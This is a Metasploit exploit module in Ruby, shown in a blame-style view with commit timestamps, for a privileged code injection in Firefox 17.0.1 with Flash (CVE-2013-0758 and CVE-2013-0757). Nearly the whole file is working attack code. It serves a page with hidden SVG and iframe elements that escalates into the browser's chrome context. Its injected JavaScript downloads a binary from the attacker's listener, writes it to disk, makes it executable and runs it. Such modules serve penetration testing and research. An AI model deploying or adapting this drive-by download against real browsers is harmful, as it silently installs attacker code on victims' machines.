2013-05-16 04:22:58 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
#
|
|
|
|
# This module acts as an HTTP server
|
|
|
|
#
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
include Msf::Exploit::EXE
|
|
|
|
include Msf::Exploit::Remote::BrowserAutopwn
|
|
|
|
|
|
|
|
autopwn_info({
|
|
|
|
:ua_name => HttpClients::FF,
|
|
|
|
:ua_maxver => '17.0.1',
|
|
|
|
:javascript => true,
|
|
|
|
:rank => ExcellentRanking, # 100% reliable cmd exec
|
|
|
|
:vuln_test => %Q{
|
|
|
|
is_vuln = !!navigator.mimeTypes["application/x-shockwave-flash"];
|
|
|
|
}
|
|
|
|
})
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2013-05-16 04:52:51 +00:00
|
|
|
'Name' => 'Firefox 17.0.1 + Flash Privileged Code Injection',
|
2013-05-16 04:22:58 +00:00
|
|
|
'Description' => %q{
|
2013-05-16 04:52:51 +00:00
|
|
|
This exploit gains remote code execution on Firefox 17.0.1 and all previous
|
|
|
|
versions, provided the user has installed Flash. No memory corruption is used.
|
2013-05-16 04:22:58 +00:00
|
|
|
|
|
|
|
First, a Flash object is cloned into the anonymous content of the SVG
|
|
|
|
"use" element in the <body> (CVE-2013-0758). From there, the Flash object
|
|
|
|
can navigate a child frame to a URL in the chrome:// scheme.
|
|
|
|
|
|
|
|
Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
|
|
|
|
around the child frame's window reference and inject code into the chrome://
|
|
|
|
context.
|
2013-05-16 04:52:51 +00:00
|
|
|
|
|
|
|
Once we have injection into the chrome execution context, we can write our
|
|
|
|
payload to disk, chmod it (if posix), and then execute.
|
2013-05-16 04:22:58 +00:00
|
|
|
|
|
|
|
Note: Flash is used here to trigger the exploit but any Firefox plugin
|
|
|
|
with script access should be able to trigger it.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Targets' => [
|
2013-05-16 22:30:01 +00:00
|
|
|
['Automatic',
|
|
|
|
{
|
|
|
|
'Platform' => ['win', 'osx', 'linux'],
|
|
|
|
'Arch' => ARCH_X86
|
|
|
|
}
|
|
|
|
],
|
2013-05-16 04:22:58 +00:00
|
|
|
[ 'Windows x86 (Native Payload)',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'Linux x86 (Native Payload)',
|
|
|
|
{
|
|
|
|
'Platform' => 'linux',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[ 'Mac OS X x86 (Native Payload)',
|
|
|
|
{
|
|
|
|
'Platform' => 'osx',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
}
|
|
|
|
]
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
2013-05-16 04:35:59 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
2013-05-16 04:47:04 +00:00
|
|
|
'Marius Mlynski', # discovery & bug report
|
|
|
|
'joev' # metasploit module
|
|
|
|
|
2013-05-16 04:35:59 +00:00
|
|
|
],
|
2013-05-16 04:22:58 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2013-0758'], # navigate a frame to a chrome:// URL
|
|
|
|
['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome://
|
|
|
|
['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
|
|
|
|
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 08 2013'
|
|
|
|
))
|
2013-05-16 04:47:04 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] )
|
|
|
|
], Auxiliary::Timed)
|
|
|
|
|
2013-05-16 04:22:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
my_target = get_target(request.headers['User-Agent'])
|
|
|
|
|
|
|
|
if my_target.nil?
|
|
|
|
print_status("User agent does not match an available payload type, bailing.")
|
|
|
|
send_not_found(cli)
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
if request.uri =~ /\.swf$/
|
|
|
|
# send Flash .swf for navigating the frame to chrome://
|
|
|
|
print_status("Sending .swf trigger.")
|
|
|
|
send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
|
|
|
|
elsif request.uri =~ /\.bin/
|
|
|
|
# send the binary payload to drop & exec
|
|
|
|
print_status("Child frame navigated. Sending binary payload to drop & execute.")
|
2013-05-16 18:15:00 +00:00
|
|
|
send_response(cli, dropped_file_contents(cli, my_target), { 'Content-Type' => 'application/octet-stream' })
|
2013-05-16 04:22:58 +00:00
|
|
|
else
|
|
|
|
# send initial HTML page
|
|
|
|
print_status("Sending #{self.name}")
|
2013-05-16 04:47:04 +00:00
|
|
|
send_response_html(cli, generate_html)
|
2013-05-16 04:22:58 +00:00
|
|
|
end
|
|
|
|
handler(cli)
|
|
|
|
end
|
|
|
|
|
2013-05-16 18:15:00 +00:00
|
|
|
def dropped_file_contents(cli, my_target)
|
2013-05-16 22:30:01 +00:00
|
|
|
p = regenerate_payload(cli, my_target.arch, my_target.platform, my_target).encoded_exe
|
|
|
|
puts "PAYLOAD"
|
|
|
|
puts my_target.name
|
|
|
|
puts my_target.platform.names
|
|
|
|
puts my_target.arch
|
|
|
|
puts my_target == target
|
|
|
|
p
|
2013-05-16 04:22:58 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def get_target(agent)
|
|
|
|
return target if target.name != 'Automatic'
|
|
|
|
if agent =~ /windows/i
|
|
|
|
print_status 'Windows detected.'
|
2013-05-16 22:30:01 +00:00
|
|
|
return targets[1]
|
2013-05-16 04:22:58 +00:00
|
|
|
elsif agent =~ /linux/i
|
|
|
|
print_status 'Linux detected.'
|
2013-05-16 22:30:01 +00:00
|
|
|
return targets[2]
|
2013-05-16 04:22:58 +00:00
|
|
|
elsif agent =~ /macintosh/i and agent =~ /intel/i
|
|
|
|
print_status 'OSX detected.'
|
2013-05-16 22:30:01 +00:00
|
|
|
return targets[3]
|
2013-05-16 04:22:58 +00:00
|
|
|
else
|
2013-05-16 22:30:01 +00:00
|
|
|
return target
|
2013-05-16 04:22:58 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def flash_trigger
|
|
|
|
swf_path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0758.swf")
|
|
|
|
@flash_trigger ||= File.read(swf_path)
|
|
|
|
end
|
|
|
|
|
|
|
|
def payload_filename
|
|
|
|
if target.name == 'Windows x86 (Native Payload)'
|
2013-05-16 04:34:14 +00:00
|
|
|
"#{Rex::Text.rand_text_alphanumeric(8)}.exe"
|
2013-05-16 04:22:58 +00:00
|
|
|
else
|
2013-05-16 04:34:14 +00:00
|
|
|
"#{Rex::Text.rand_text_alphanumeric(8)}.bin"
|
2013-05-16 04:22:58 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def js_payload
|
|
|
|
#'alert(Components.stack)'
|
|
|
|
%Q|
|
|
|
|
alert(1)
|
|
|
|
var x = new XMLHttpRequest;
|
|
|
|
x.overrideMimeType('text/plain; charset=x-user-defined');
|
|
|
|
x.open('POST', '#{base_url}.bin', false);
|
|
|
|
x.send(null);
|
|
|
|
alert(x.responseText);
|
|
|
|
var file = Components.classes["@mozilla.org/file/directory_service;1"]
|
2013-05-16 04:47:04 +00:00
|
|
|
.getService(Components.interfaces.nsIProperties)
|
|
|
|
.get("TmpD", Components.interfaces.nsIFile);
|
2013-05-16 04:22:58 +00:00
|
|
|
file.append('#{payload_filename}');
|
2013-05-16 04:47:04 +00:00
|
|
|
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
|
|
|
|
.createInstance(Components.interfaces.nsIFileOutputStream);
|
2013-05-16 04:22:58 +00:00
|
|
|
stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
|
|
|
|
stream.write(x.responseText, x.responseText.length);
|
|
|
|
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
|
|
|
|
stream.finish();
|
|
|
|
} else {
|
|
|
|
stream.close();
|
|
|
|
}
|
|
|
|
#{chmod_code}
|
|
|
|
alert(file.path);
|
|
|
|
var process = Components.classes["@mozilla.org/process/util;1"]
|
2013-05-16 04:47:04 +00:00
|
|
|
.createInstance(Components.interfaces.nsIProcess);
|
2013-05-16 04:22:58 +00:00
|
|
|
process.init(file);
|
|
|
|
process.run(false,[],0);
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def chmod_code
|
|
|
|
return '' if target.name == 'Windows x86 (Native Payload)'
|
|
|
|
%Q|
|
|
|
|
var chmod=Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
|
|
|
|
chmod.initWithPath("/bin/chmod");
|
|
|
|
var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);
|
|
|
|
process.init(chmod);
|
|
|
|
process.run(true, ["+x", file.path], 2);
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
# @return [String] URL for sending requests back to the module
|
|
|
|
def base_url
|
|
|
|
proto = (datastore["SSL"] ? "https" : "http")
|
|
|
|
"#{proto}://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{datastore['URIPATH']}"
|
|
|
|
end
|
|
|
|
|
|
|
|
def generate_html
|
|
|
|
vars = {
|
|
|
|
:symbol_id => 'a',
|
|
|
|
:random_domain => 'safe',
|
|
|
|
:payload => js_payload,
|
|
|
|
:payload_var => 'c',
|
|
|
|
:payload_key => 'k',
|
|
|
|
:payload_obj_var => 'payload_obj',
|
|
|
|
:interval_var => 'itvl',
|
|
|
|
:access_string => 'access',
|
|
|
|
:frame_ref => 'frames[0]',
|
|
|
|
:frame_name => 'n',
|
2013-05-16 04:47:04 +00:00
|
|
|
:loader_path => "#{base_url}.swf",
|
|
|
|
:content => self.datastore['CONTENT'] || ''
|
2013-05-16 04:22:58 +00:00
|
|
|
}
|
|
|
|
%Q|
|
|
|
|
<!doctype html>
|
|
|
|
<html>
|
|
|
|
<head>
|
|
|
|
<base href="chrome://browser/content/">
|
|
|
|
</head>
|
|
|
|
<body>
|
|
|
|
|
2013-05-16 04:47:04 +00:00
|
|
|
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
|
2013-05-16 04:22:58 +00:00
|
|
|
<symbol id="#{vars[:symbol_id]}">
|
|
|
|
<foreignObject>
|
|
|
|
<object></object>
|
|
|
|
</foreignObject>
|
|
|
|
</symbol>
|
|
|
|
<use />
|
|
|
|
</svg>
|
|
|
|
|
|
|
|
<script>
|
|
|
|
var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
|
|
|
|
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
|
|
|
|
function $() {
|
|
|
|
document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
|
|
|
|
}
|
|
|
|
function _() {
|
|
|
|
return '#{vars[:frame_name]}';
|
|
|
|
}
|
|
|
|
var #{vars[:interval_var]} = setInterval(function(){
|
|
|
|
try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
|
|
|
|
catch(e){
|
|
|
|
clearInterval(#{vars[:interval_var]});
|
|
|
|
var p = Object.getPrototypeOf(#{vars[:frame_ref]});
|
|
|
|
var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
|
|
|
|
Object.prototype.__lookupSetter__("__proto__").call(p, o);
|
|
|
|
p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
|
|
|
|
}
|
|
|
|
}, 100);
|
|
|
|
document.querySelector('object').data = "#{vars[:loader_path]}";
|
|
|
|
document.querySelector('use').setAttributeNS(
|
|
|
|
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
|
|
|
|
);
|
|
|
|
</script>
|
|
|
|
|
|
|
|
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
|
2013-05-16 04:47:04 +00:00
|
|
|
name="#{vars[:frame_name]}"></iframe>
|
|
|
|
#{vars[:content]}
|
2013-05-16 04:22:58 +00:00
|
|
|
</body>
|
|
|
|
</html>
|
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|